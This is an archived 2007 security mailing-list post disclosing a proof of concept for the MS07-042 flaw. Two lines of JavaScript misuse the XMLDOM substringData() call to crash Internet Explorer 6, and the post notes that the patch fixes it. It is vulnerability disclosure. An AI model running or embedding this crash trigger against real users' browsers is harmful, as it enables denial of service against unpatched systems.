Hosting Provided By

MS07-042 XMLDOM substringData() PoC

From: Alla Bezroutchko <alla(at)scanit.be>
Date: Thu Aug 16 2007 - 05:32:10 EDT

This bit of JavaScript kills IE 6 on Windows 2000 and Windows XP SP2

var xmlDoc = new ActiveXObject("Microsoft.XMLDOM"); xmlDoc.loadXML("<dummy></dummy>");
var txt = xmlDoc.createTextNode("huh"); var out = txt.substringData(1,0x7fffffff);

Installing the patch from MS07-042 fixes it.

Cheers,
Alla Bezroutchko
Scanit - http://www.scanit.be/ Received on Thu Aug 16 12:51:38 2007

This message: [ Message body ]
Next message: Foresight Linux Essential Announcement Service: "FLEA-2007-0046-1 cups"
Previous message: imei Addmimistrator: "Olate Download 3.4.1 ~ admin.php ~ Admin authentication bypassing"

Contemporary messages sorted: [ By Date ] [ By Thread ] [ By Subject ] [ By Author ] [ By messages with attachments ]

This archive was generated by hypermail 2.1.8 : Sun Oct 28 2007 - 06:12:18 EDT